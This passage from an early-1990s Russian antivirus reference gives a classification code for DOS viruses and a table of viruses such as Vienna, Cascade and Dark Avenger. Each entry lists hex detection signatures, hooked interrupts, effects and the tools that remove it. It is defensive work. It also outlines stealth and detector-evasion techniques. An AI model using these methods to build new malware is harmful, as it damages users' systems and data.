а вторая EXE-файлов); L - длина тела вируса (байт): <целое число> - длина равна указанному числу в байтах; i - длина равна нормированному или постоянному приращению; M - действия вируса по маскировке своего присутствия в системе и зараженных файлах: a - (automodification) - автомодификация инсталлятора с целью затруднить обнаружение детекторами, основанными на контектном поиске; с - (cipher) - шифровка части программы, исключая часть инсталлятора; d - (antiDebugging tricks) - защита от трассировки; e - (enter point) - сохранение точки входа в EXE-программах; f - (fag) самоизлечивается при попытке просмотра зараженной программы при резидентном вирусе; h - (hook) - не обнаруживается сторожами типа FluShot+, контролирующими состояние векторов прерывания (обычно 13 и 21); i - (increment) - имплантация тела в программу без увеличения размеров файла; j - (jump) - cохранение первого перехода в COM-файлах; l - (length) - маскировка увеличения длины зараженных файлов, путем подмены значения соответствующего поля элемента оглавления при операциях FindFirst и FindNext (21-11h и 21-12h) с предварительным вычитанием длины вируса. При этом утилиты, которые не используют указанные функции DOS, работая с каталогами непосредственно (например Norton Commander), будут показывать увеличенную длину, а команда DIR уменьшенную. m - (memory map) не обнаруживается системными средствами просмотра списка резидентных программ; о - (overlay) сегментация тела вируса на несколько подгружаемых частей; р - (polyinfection) заражение как файлов, так и исполняемых системных блоков (бутсектор, MBR); r - (redirection) - перехват и модификация дисковых операций с целью скрыть изменения в исполняемых блоках (бутсектор, MBR); s - (space) - корректировка резидентным вирусом общего обьема свободной памяти на диске с целью скрыть его изменение в результате заражения вирусом программ; t - (text) шифровка текстовых сообщений; R - (resident) положение в оперативной памяти, реакция на теплую перезагрузку и размер занимаемой памяти (только для резидентных вирусов): a - (available) - в неиспользуемой части оперативной памяти (не создавая MCB и не изменяя обьема свободной оперативной памяти; l - (low) в младших адресах, после последней загруженной к этому моменту резидентной программы; b - (buffer) в буферах MS DOS; h - (high) в старших адресах без изменения общего обьема оперативной памяти; u - (upper) в старших адресах памяти с соответствующим уменьшением общего обьема доступной системе оперативной памяти (по типу бутвируса); t - (TSR) - вирус создает дополнительный MCB, видный в списке резидентных программ как дополнительная "паразитная" резидентная программа; v - в области видеопамяти (в адресах за первыми 640K т.е больших А000:0000); w - (survive Warm reboot) "выживание" при теплой перезагрузке (возможно, в основном, для вирусов инсталлирующихся по типу u); <целое> - обьем оперативной памяти, резервируемый вирусом; S - стратегия заражения: c - заражает файлы в текущем каталоге; d - заражает все файлы на текущем диске; f - заражает файл в каталоге, где находится файл, запускаемый на выполнение; e - заражает файлы, запускаемые на выполнение (прерывание 21-4Bh MS DOS); h - инсталлируется в старших адресах памяти, затирая оверлейную часть COMMAND.COM, а затем заражает его при загрузке; i - инсталлируется в старшие адреса таблицы векторов прерываний; l - имеет средства распространения по локальной сети; m - (main catalog) - заражает файлы в главном каталоге; n - (new) - заражает файлы при создании o - заражает любые открываемые файлы с подходящими расширениями; p - заражает файлы, путь доступа к которым указан в команде PATH; r - заражает файлы, для которых выполняется чтение; s - (shell) - при инсталляции ищет и заражает COMMAND.COM; t - (tree) - просматривает дерево каталогов и заражает по одному случайно выбираемому файлу в каждом каталоге; <целое> - количество файлов, заражаемых "в один прием"; 1x - по одному каждым из упомянутых способов; 1t - по одному в каждом каталоге; 1t - по одному в каждом каталоге; T - дополнительные расширения заражаемых файлов, помимо указанных в классификационном коде: a - любое b - BIN; o - OVL, OVR; s - SYS; Z - побочные проявления действий вируса: a - (attr) - изменение атрибутов при заражении файла, например a(r) снятие атрибута READ ONLY; b - (boot) - при заражении программ, запускаемых в файле AUTOEXEC.BAT, возможно зацикливание процесса загрузки; e - появление ошибок типа деления на нуль, переполнения стека и т.п.; f -(FAT) - искажения FAT h - (hang) зависания системы o - нарушение функционирования программ с оверлейной структурой. Например, возникновение ошибок при загрузке отдельных фаз оверлейной программы; r - нарушение работы некоторых резидентных программ вследствие использования вирусом общих с ними системных прерываний; t - (twins) сращивание цепочек в FAT; v - (video) - мерцание монитора или выдача на экран каких-то случайных последовательностей символов; x - (eXtended) повреждение расширенных EXE-файлов, т.е. таких, у которых длина, указанная в элементе оглавления больше длины, указанной в заголовке. При запуске таких программ в память загружается только то количество байтов, которое определено в заголовке файла. Оставшаяся область дискового пространства может использоваться как буфер или как неявный оверлей. 3. В предикате P указываются критерии выбора "жертвы" для заражения: имя файла, атрибуты, дата создания, минимальная и максимальная длина заражаемых файлов (указываются через черточку): Atr - атрибуты. Для атрибутов указываются обозначения битов при которых заражение файлов не происходит, если таковые существуют): r - READ_ONLY - не заражает файлов с этим атрибутом; h - HIDDEN - не заражает файлов с этим атриутом; z - (zapped) вирус снимает имеющиеся у файла атрибуты и не восстанавливает их после заражения файла; d - дата создания заражаемых файлов не должна совпадать с текущим месяцем и датой; LenC, LenE, LenCE - длины файлов типа COM, EXE и COM&EXE соответственно MaxC - максимальная длина COM-файла, длина которого после инфицирования данным вирусом не превысит 64 Кбайт (MaxC = 64K - <длина вируса>); Name - имя файла. Date - дата создания файла 4. В списке Н указаны номера прерываний, перехватываемые данным вирусом. 5. Резидентные вирусы часто конфликтуют с другими резидентными программами. Это может приводить к зависанию системы, выдаче ошибок (деление на ноль, переполнение и др.), зацикливании при загрузке MS DOS и другим побочным эффектам. 6. Символом "*" помечены названия вирусов, выдаваемые полидетектором Scan при обнаружении М-сигнатур, символом "#" - названия, используемые в VIRUS INFORMATION SUMMARY LIST, составленном Патрицией М. Хоффман (Patricia M. Hoffman) а символом "$" - названия, выдаваемые полидетектором TNTVIRUS (фирмы CARMEL). Символом "+" обозначено продолжение Некоторые вирусы группы TP идентифицируется детектором SCAN как одновременно присутствующие вирусы Yankey Doodlе и Vacsina, что обычно не означает зараженности программы двумя вирусами одновременно. Для вирусов Yankee Doodle SCAN использует M-сигнатуру "35CD218BF38CC7", которая для экономии места в таблице не приводится. Информация по ряду вирусов неполна. 7. Вирусы упорядочены по возрастанию классификационной характеристики. Для вирусов, отсутствующих в СССР, в качестве классификационной характеристики используется величина, приводимая П.Хоффман или в документации к полидетектору SCAN. Символы nnnn в классификационном коде вируса означают, что сведения о размере цифровой характеристики отсутствуют. 8. В графе "Распр." указана степень распространенности вируса в СССР (оценка автора). Степень распространенности дается по пятибальной шкале (1 - обнаружен только в одном городе и о других случаях информация не поступала, 2 - в нескольких городах, кроме Москвы и Киева; 3 - случаи заражения отмечались и в Москве и в Киеве, 4 во многих крупных городах, 5 - практически повсеместно). 9. В графе "Динамика" указывается динамику распространения данного вируса на момень составления таюлицы ( "<" - нарастание эпидемии, "*" - пик эпидемии, ">" - спад эпидемии, "~" практически повсеместно уничтожен). 10. Вертикальной чертой ("│") слева от неформального названия помечены новые вирусы и вирусы, информация о которых была дополнена или изменена по сравнению с редакциями 3.1-3.9. 11. Для неизвестных в СССР вирусов можно попытаться использовать полифаг CLEAR, входящий в пакет антивирусных средств, распространяемых фирмой McAfee Associates как SHAREWARE, однако в качестве "выкусывания" этого полифага есть основания сомневаться, поэтому рекомендуется сделать резервные копии зараженных программ перед "выкусыванием", а само выкусывание проводить на дискете, а не на винчестере. 12. В графе "Группа" указано к какой группе приндлежит данный вирус. Если после обозначения группы или вместо нее стоит один или несколько восклицательных знаков, то данный вирус представляет значительную опасность и более подробно рассмотрен в основном тексте. При этом используется следующее обозначение групп: Ven - венская Ier - иерусалимская TP - болгарская TP-группа Dcr - DataCrime DAv - группа Dark Avenger ─────────────────┬─────────┬───┬─┬─┬──────────────────────────────────────────── ─┬────────────────────────────────────────────┐ │ │ Г │Р│Д│ Дескриптор, сигнатуры и фаги данного вируса │ │ Неформальные │Классифи-│ р │а│и├──┬──────────────────────────────────────────┤ Страна и дата обнаружения, │ названия │кационный│ у │с│н│B │ │ фамилия исследователя обнаружевшего │ │код │ п │п│а│и │ Значение │ и изолировавшего вирус (если известны), │ │вируса │ п │р│м│д │ │ вызываемые эффекты │ │ │ а │о│и│ │ │ │ │ │ │с│к│ │ │ │ │ │ │т│а│ │ │ │ │ │ │р│ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Kemerovo-Reset │ C-257 │ │1│ │D │Ar Ba Cy Dt Itc K1 Mn Sc │СССР (Кемерово), июль 1990, Сусликов Е. │ │ (Кемеровская │ │ │ │ │P │ │Заражает все COM-файлы в текущем каталоге. │ │ перезагрузка) │ │ │ │ │B1│ │Иногда вызывает перезагрузку MS DOS. Не │ │ │ │ │ │B2│5A 52 89 D6 81 C6 C1 00 89 D8 2D 04 00 │закрывает файлы, открываемые файлы (по │ │ │ │ │ │T │*.COM │одному на заражаемую программу), причем │ │ │ │ │ │ │ │открыть их может очень много. Портит время │ │ │ │ │ │ │ │Не блокирует сообщения о защите от записи. │ │ │ │ │ │ │ │Зараженные программы теряют способность │ │ │ │ │ │ │ │обрабатывать параметры. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-345 │ C-345 │IV │1│~│D │Ab Bat Cy Dn Ee Ihc K1 Li Mn Sc │Западная Европа: 1988; СССP: 1989 │ $ Pixel-1 │ │ │ │ │P │0 <LenC <+oo & Atr != RH │Вместо исполнения зараженной программы │ │ │ │ │ │B │508CC80500108EC0FE060401BE000133FFB95901 │часто выдается сообщение T2 │ │ │ │ │ │C │0501B90600B44ECD21724BBA2F01B802 │(см., также штаммы С-740 и С-840) │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │T2│Program sick error:Call doctor │ │ │ │ │ │ │+ │ or buy PIXEL for cure description │ │ │ │ │ │ │ │ │ │ │F │AIDSTEST,-V,AV,K32 │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Attention │ RC-394 │ │1│ │D │An Bn Cy Dy Ee Itc Mh She Za(z)h │СССР: Минск - 07.90 (Сотников С.), │ │ (Внимание) │ │ │ │ │P │ │Москва - 08.90. │ │ │ │ │ │ │H │21,24 │При заражении файлов на защищенном от записи│ │ │ │ │ │J │ │диске, вне зависимости от диска, к которому │ │ │ │ │ │B │81 FC 00 01 77 02 33 E4 8B E8 E8 00 00 │идет обращение, трижды включается мотор │ │ │ │ │ │T │ATTENTION ! │дисковода А. Зараженные файлы, начиная с │ │ │ │ │ │ │ │4-го байта, содержат строку "ATTENTION !". │ │ │ │ │ │ │ │Имеется два почти идентичных штамма │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ LoveChild │ RC-488 │!!!│ │ │D │Aak Bn Seo │ │ │ │ │ │ │ │P │ │СССР, август 1990 г. │ │ │ │ │ │H │21-3C, 21-3D, 21-4B 21-5B │Заражает файлы с расширением при их │ │ │ │ │ │B │B8 42 02 5B 53 33 C9 8B D1 CD 21 05 12 00 │загрузке в память, при открытии │ │ │ │ │ │ │ │создании, длин файлов не проверяет. │ │ │ │ │ │T1│v2 (c) Flu Systems (R) │Изменяет первые 4 байта файла на команды │ │ │ │ │ │T2│LoveChild in reward for software sealing │STI; JMP VirStart. При инсталляции │ │ │ │ │ │ │ │записывает свое тело во вторую часть таблицу│ │ │ │ │ │ │ │векторов прерываний, по адресу 0000:01E0. │ │ │ │ │ │ │ │В зависимости от счетчика времени может │ │ │ │ │ │ │ │уничтожать файлы или создавать вместо файла │ │ │ │ │ │ │ │подкаталог с таким же именем. Вирус │ │ │ │ │ │ │ │периодически модифицирует COM-файлы таким │ │ │ │ │ │ │ │образом, что их запуск вызовет стирание │ │ │ │ │ │ │ │секторов винчестера (стирается вся │ │ │ │ │ │ │ │информация, расположенная на всех секторах, │ │ │ │ │ │ │ │соответствующих 0-3 головкам записи/чтения).│ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 492, │ RC-492 │Int│1│<│D │Ac Ba Cy Dy Es Itp K1 L492 Sce │CCCP(Москва, ВЦ АН СССР): июль 1990, │ sI │ │ │ │ │P │0 <LenC <+oo & Atr != RH & CPU>=80286 │Н.Н.Безруков │ │ │ │ │ │H │1C, 21 │Простой, плохо отлаженный вирус. │ │ │ │ │ │J │2E8B1E010183C303B104D3EB8CD803C3 │Уничтожает несколько секторов на диске, │ │ │ │ │ │ │ │выбирая их случайным образом и записывая │ │ │ │ │ │ │ │в них содержимое участка оперативной памяти │ │ │ │ │ │F │-V, NEATFAG, K32 │Копирует себя в область векторов прерываний,│ │ │ │ │ │ │ │начиная с 0000:0200h │ │ │ │ │ │ │ │На PC/XT не работоспособен. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 13 месяц-Б, │ С-507 │Ven│1│ │D │An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Ry Sc │Польша: 1988 │ │ Toothless-B │ │ │ │ │DP│256 < LenC │Штамм вируса С-534. При заражении программы │ │ (Беззубый), │ │ │ │ │T1│????????COM │изменяет ее дату с установкой месяца на 13 │ │*# W13-B │ │ │ │ │T2│Мicrosoft │(признак зараженности). Заражает файлы толь-│ │ │ │ │ │ │F │MKS_VIR │ко в текущем каталоге. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │*#$ 512 │ RC-O-512│DAv│1│<│D │Cy │Болгария: ноябрь 1989, Весселин Бончев(?) │ │ │ │!!!│ │ │M1│8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 │ВНИМАНИЕ !!! Очень опасный и скрытно размно-│ │Number of the │ │ │ │ │M2│01 8C 45 70 1F 89 57 14 8C CA 8E DA │жающийся вирус второго поколения. │ │Beast Virus, │ │ │ │ │C │1EC54408720AB413CD2F1E52CD2F581F │Первый сегментированный вирус, хранящий │ │(вирус апокалип- │ │ │ │ │T │666 │хвост в свободном секторе последнего класте-│ │сического числа),│ │ │ │ │ │ │ра, распределенного зараженному файлу. │ │Stealth Virus │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│При инсталляции в оперативной памяти занима-│ │(Стелс вирус) │ │ │ │ │ │ │ет часть памяти, отведенной под буфера. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 529, │RС-529 │Ier│1│ │D │An Bn Cn Dn Ee Ihc Jn K1 Lx Mn Se │CCCР (Ленинград): весна 1989, Лозинский Д.Н.│ Peterburg, │ │/ВП│ │ │P │529 < LenC < +oo │Возможно, штамм RСE-1813,однако не исключено│ Пакость-1 │ │ │ │ │B │B815CA8B361B01BF00018B0E1D018B1E19 │что наоборот - одна из ранних версий │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ 13 месяц, │ С-534 │Ven│2│ │D │An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Sc Za │Польша: 1988. │ Микро-88 │ │ │ │ │P │529 < LenC < MaxC │Штамм вируса С-648. При заражении программы│ Toothless Virus, │ │ │ │ │B │D681C60000FCB90300BF0001F3A48BFAB4 │изменяет ее дату с установкой месяца на 13 │ (Беззубый), │ │ │ │ │M1│F3 A4 8B FA B4 30 CD 21 3C 00 │(признак зараженности) В отличие от С-648 │ *# W13 │ │ │ │ │T1│????????COM │заражает файлы только в текущем и корневом │ │ │ │ │ │T2│Мicrosoftyright │каталогах. │ │ │ │ │ │T3│Microsoft 1988 │ │ │ │ │ │ │F │AV, -V, AIDSTEST │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 600, │ RC-600 │Ier│1│ │D │An Ba Cy Dn Ee Ihc Jn K1 Li Mc Se │Днепропетровск, май 1990, А.Сесса. │ │ Пакость-2 │ │ │ │ │P │600 <LenC <+60000 & Atr != RH │Штамм RCE-529. Обработчик аномальных │ │ │ │ │ │ │H │21 │завершений содержит ошибку из-за которой │ │ │ │ │ │B │BE1001B932008A2480F4DD882446E2F6 │иногда выдаются сообщения Abort, Retry ... │ │ │ │ │ │T1│ctsqu │Часть тела вируса шифруется. │ │ │ │ │ │T2│I46+##* │ │ │ │ │ │ │F │-V, K32, NEATFAG │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *# VHP2, │ С-623 │Ven│1│ │D │An Bn Cn Ds62 Ee Itc Jn K1 Li Sp │СССР, 1989, Лозинский Д.Н. │ VHP-623, │ │ │ │ │P │10 < LenC < MaxC │Штамм вируса С-648. Отличается наличием │ Vienna-623 │ │ │ │ │B │B42FCD21891C8C4402B82435CD21899C8F00 │обработки ненормальных окончаний. В │ (Вена-623) │ │ │ │ │T1│*.COM │"убиваемые" модули пишется вместо │ │ │ │ │ │T2│PATH= │перезагрузки переход по адресу C000:0000. │ │ │ │ │ │T3│????????COM │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ │ C-644 │Vn │1│ │D │An Bn Cn Dy Ee Itc Jn K1 Li Sc │СССР(Москва): Лозинский Д.Н. │ │ │ │ │ │ │P │10 < LenC < MaxC │Первые 20 минут каждого часа заражает │ │ │ │ │ │ │B │ │COM-файлы в текущем каталоге, при условии, │ │ │ │ │ │ │T1│*.COM │что он не является корневым. Портит время │ │ │ │ │ │T2│PATH= │создания файла │ │ │ │ │ │T3│????????COM │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Vienna-A │ С-648A │Ven│5│>│D │Arbk Ba Cy Ds Ee Itc Jn K1 Li Sс Zb │Австрия, апрель 1988. СССР: август 1988 │ (Вена-А), │ │ │ │ │P │10 < LenC < MaxC │Поражает примерно каждый восьмой заражаемый │ DOS-62 │ │ │ │ │M │8BFE81C71F008BDE81C61F00 Штамм A │файл, так что при его запуске инициируется │ (ДОС-62), │ │ │ │ │M │8BFE83C71F908BDE83C61F90 Штамм B │перезагрузка MS DOS. При поражении │ Rebooter │ │ │ │ │I │FC8BF281C60A00BF0001B90300F3A4 │COMMAND.COM или программы, входящей в │ (перезагрузчик),│ │ │ │ │+ │8BF2B430CD213C007503E9C701 │AUTOEXEC.BAT, происходит зацикливание на │ Time Bomb │ │ │ │ │J │51 ** ** ** FC 8B F2 81 C6 0A 00 BF 00 01 │перезагрузке MS DOS. Один из наиболее ранних│ (часовая мина),│ │ │ │ │T1│*.COM │и распространенных в Европе и СССР вирусов. │ UNESCO(ЮНЕСКО)│ │ │ │ │T2│PATH= │Имеются многочисленные штаммы. Пик эпидемии │ Wiener (Винер)│ │ │ │ │T3│????????COM │в СССР отмечен в начале 1989 года. │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-740 │ C-740 │IV │1│ │D │An Ba Cy Dn Ee Ihc Km Li Mn Sc │Многократно заражает программы │ │ │ │ │ │P │0 <LenC <+oo & Atr != RH │(см., также штаммы С-345 и С-847) │ │ │ │ │ │B │8EC0FE060501BE000133FFB9E400F3A4BAF4BAF401│ │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │F │AIDSTEST, AV │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ IV-847, │ C-847 │IV │1│ │D │An Babt Cy Dn Ee Ihc K1 Li Mn Sc │1988 │ *$ Amstrad Virus │ │ │ │ │P │0 <LenC <+oo & Atr != RH │Вместо исполнения зараженной программы │ (Амстрад) │ │ │ │ │M1│1F BA 4F 03 B9 FF FF B4 │часто выдается сообщение T2 (см., также │ │ │ │ │ │M2│72 02 EB 36 76 BA 80 00 B4 1A CD 21 80 │штаммы С-345 и С-740) На Западе известна │ │ │ │ │ │B │8EC0FE060501BE000133FFB94F01F3A4BAF4BA5F02│модификация, в которой вместо сообщения T2 │ │ │ │ │ │C │4ECD217260BA7D02B8023DCD21A31401 │выводится реклама компьютеров фирмы Amstrad │ │ │ │ │ │T1│*.COM │ │ │ │ │ │ │T2│Program sick error:Call doctor │ │ │ │ │ │ │+ │ or buy PIXEL for cure description │ │ │ │ │ │ │F │AIDSTEST, AV │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Bebe (Бебе) │ C-1024 │ │1│ │D │Ab Bt Cy Dn Ee Itc K1 Li Mn Sc │СССР 1990 │ │ │ │ │ │ │B1│50 0E 8C C8 2E 01 06 0C 01 EA │Поражает файлы с расширением COM в текущем │ │ │ │ │ │B2│ │каталоге. Создает резидентную программу, │ │ │ │ │ │T1│╔════════ VIRUS ! ══════╗ │по адресу 0000:01CE-0000:03EB, которая через│ │ │ │ │ │T2│║ Skagi "bebe" > ║ │10 мин.после загрузки выводит на экран сооб-│ │ │ │ │ │T3│╚═══════════════════════╝ │щение T1-T3 и из-за ошибки зацикливается. │ │ │ │ │ │T4│Fig Tebe ! │Машину приходится перегружать кнопкой RESET │ │ │ │ │ │T5│*.COM │или выключением питания. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-5, │RCE-1206 │TP │3│>│D │An Bh Cy Dn Es Itp-tp Jj K12 Li Se │Болгария: начало 1989. │ Vacsina-5 │ │ │ │ │P │1212 < LenCE < MaxC & FIRST='E9' │EXE-файлы заражаются в два этапа: cначала │ (Вакцина-5), │ │ │ │ │H │21 │увеличиваются на 132 байта, "переделываясь" │ * Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │из EXE в COM для системы (суффикс EXE не │ (Вакцина) │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │меняется), а затем заражаясь как COM-файлы. │ │ │ │ │ │C │26A1C5003D7F39750826A0C7003C0573 │Поражаются файлы до 63К. Создает скрытый │ │ │ │ │ │T │VACSINA │файл на диске. │ │ │ │ │ │B │F47A05 │При заражении файла раздается звуковой сиг- │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │нал (BELL). │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-4, │RCE-1212 │TP │3│>│D │An Bmh Cy Dr Es Itp-tp Jj K12 Li Se │Болгария: начало 1989 (В.Бончев); │ Vacsina-4 │ │ │ │ │P │1212 < LenCE < MaxC & FIRST='E9' │СССР: весна 1989 (В.Котик). │ (Вакцина-4), │ │ │ │ │H │21 │Практически идентичен RCE-1805 (TP-5). │ * Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │Произвольно изменяет дату создания файла. │ │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │Создает скрытый файл на диске │ │ │ │ │ │C │C5003D7F39750826A0C7003C0473328B │При заражении файла раздается звуковой сиг- │ │ │ │ │ │T │VACSINA │нал (BELL). │ │ │ │ │ │B │F47A04 │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ Merphy │RCE-1277 │ │3│<│D │An Bam Cy Dn Es Itc-tc Jn K11 Li Seo │CCCP (Киев), июнь 1990, А. Шеховцов │ │ │ │ │ │ │P │1277 <LenCE │Через некоторое время после того как вирус │ │ │ │ │ │ │H │21 │стал резидентным разрается неприятный высо- │ │ │ │ │ │ │J1│E9 7E 03 │частотный свист. Не заражает файлов с атри- │ │ │ │ │ │ │J2│1E E8 00 00 B8 59 4B CD 21 72 03 E9 28 01 │бутами READ ONLY │ │ │ │ │ │ │M │81 7C FE 2E 43 75 ED B8 02 3D │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-16, │RCE-1339 │TP │2│>│D │An Bn Cy Dn Es Itp-tp Jj K11 Li Se │Болгария: 1988 │ Vacsina-16 │ │ │ │ │P │1339 < LenCE < MaxC │В отличие от TP-5 EXE-файлы заражаются в │ (Вакцина-16), │ │ │ │ │H │21 │один прием, сохраняя идею "переделки" из EXE│ *$ Vacsina │ │ │ │ │M1│17 26 C5 B5 00 01 83 C7 │в COM. В отличие от RCE-1212 и RCE-1206 │ (Вакцина-16), │ │ │ │ │M2│B8 01 43 8E 5E 0E 8B 56 06 2E │файлы заражаются вне зависимости от значения│ *$ Vacsina │ │ │ │ │C │26A1C5003D7F39750826A0C7003C1073 │первого байта │ │ │ │ │ │T │VACSINA │ │ │ │ │ │ │B │F47A10 │ │ │ │ │ │ │F │AIDSTEST,AV,-V,K32 │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │ 1600, │RCE-1600 │Ier│1│<│D │Cy Ihc-tc L1600 Se-eo │СССР (Воронеж): 12.06.90 А.Н.Мартемьянов │ │ Voronezh 2.01 │ │/ВП│ │ │P │1600 <LenC < 61000 │Распространялся на специально зараженном │ │ (Воронеж 2.01),│ │ │ │ │H │21 │AIDSTEST (троянская версия) отцом автора ви-│ │ Пакость-3 │ │ │ │ │T1│ctsqu`Voronezh,1990 2.01 │руса. Алгоритм заражения специально рассчи- │ │ │ │ │ │ │T2│EXEexeUv │тан на обход детектирования AIDSTEST: при │ │ │ │ │ │T3│![ZYS │заражении EXE-файлов для передачи управления│ │ │ │ │ │ │ │не корректирует точку входа в файл в заго- │ │ │ │ │ │ │ │ловке, а модифицирует Relocation table. │ │ │ │ │ │ │ │EXE-файлы заражает как при выполнении, так и│ │ │ │ │ │ │ │при открытии. │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Sunday │RCE-1636 │Ier│4│<│D │Ad Bt Cn Dn Ee Ihc-tmp Jn K11 L1631 P Se │США(Сиэтл), конец 1989. │ (Воскресенье) │ │!!!│ │ │P │1636 < LenCE │По воскресеньям стирает все запускаемые │ │ │ │ │ │H │21 │файлы. Возможно выдает на экран сообщение: │ │ │ │ │ │M1│C8 F7 E1 EE E7 00 01 │"Today is Sunday, why do you work so hard?" │ │ │ │ │ │M2│75 10 07 2E 8E 16 45 00 2E 8B │ ... ... ... ... ... ... ... │ │ │ │ │ │С │CD2180FCFF731580FC047210B4DDBF │ │ │ │ │ │ │F │AIDSTEST, AV,-V │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Cascade │RC-1701 │Cas│5│>│D │An Bav Cy Dn Es Itc Jx K1 Li Mс Se Zbr │ФРГ(Университет Констансы) сентябрь 1988; │ (Каскад,сыпучка), │ │ │ │P │0 < LenC < 63800 │СССР: осень 1988 │ Falling letters│ │ │ │ │H │1C, 21, 28 │Осенью 1980 и 1988 г (Сент,Окт,Нояб.,Дек) │ (Буквопад, │ │ │ │ │I │FA8BECE800005B81EB31012EF6872A01017 │создает оригинальный эффект на CGA,EGA и VGA│ падающие буквы)│ │ │ │ │+ │40F8DB74D01BC820631343124464C75F8 │"опадание" букв с "вышибанием" нижестоящих, │ BlackJack │ │ │ │ │M │31 34 31 24 46 4C 77 F8 (* неудачна *) │сопровождаемое шорохом. Создает помехи при │ (Черный Джек), │ │ │ │ │С │0F8DB74D01BC820631343124464C75F8 │работе, поскольку на время опадания букв │ Herbst(laub) │ │ │ │ │J │01 FA 8B EC E8 00 00 5B 81 EB 31 01 2E │блокируется клавиатура. Полидетектор SCAN │ $ 1701 File virus│ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │дает много ложных срабатываний. │ Falling tears, │ │ │ │ │ │ │Пик эпидемии в СССР отмечен весной 1989 года│ Autumn leaves │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-24, │RCE-1760 │TP │2│>│D │An Bm By Cy Dn Es Itp-tp Jx K11 Li Se │Болгария: 1988. │ Музыкальная │ │ │ │ │P │256 < LenCE < MaxC │20-секундное звучание мелодии при попытке │ перезагрузка-24│ │ │ │ │H │1,9,21 │выполнить теплый рестарт (СTRL-ALT-DEL), │ *$ Vacsina │ │ │ │ │M │17 26 C5 B5 00 01 83 C7 │после звучания идет нормальная перезагрузка.│ │ │ │ │ │B │F47A18 │ │ │ │ │ │ │C │A000CD21B80125BA3505CD21BA65009C │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ *$ Dark Avenger │RCE-1800 │DAv│5│>│D │As Bn Cy Dn Es Itc-tp Jn K11 Li Mhm Ser │Болгария, 1989; СССР: сентябрь 1989. │ (Черный │ │ │ │ │P │1774 < LenCE │Уничтожение сектора диска после каждых │ мститель), │ │ │ │ │H │13, 21,27 │16 инсталляций. Вирус заражает файлы │ Eddie (Эдди), │ │ │ │ │M │A1 4F 07 89 07 2E A1 51 │не только при выполнении, но и при чтении │ Diana │ │ │ │ │C1│75088B57085B53CD26585E33C08ED82E штамм 1 │или записи в файл. Поэтому запуск фага, или │ (Диана) │ │ │ │ 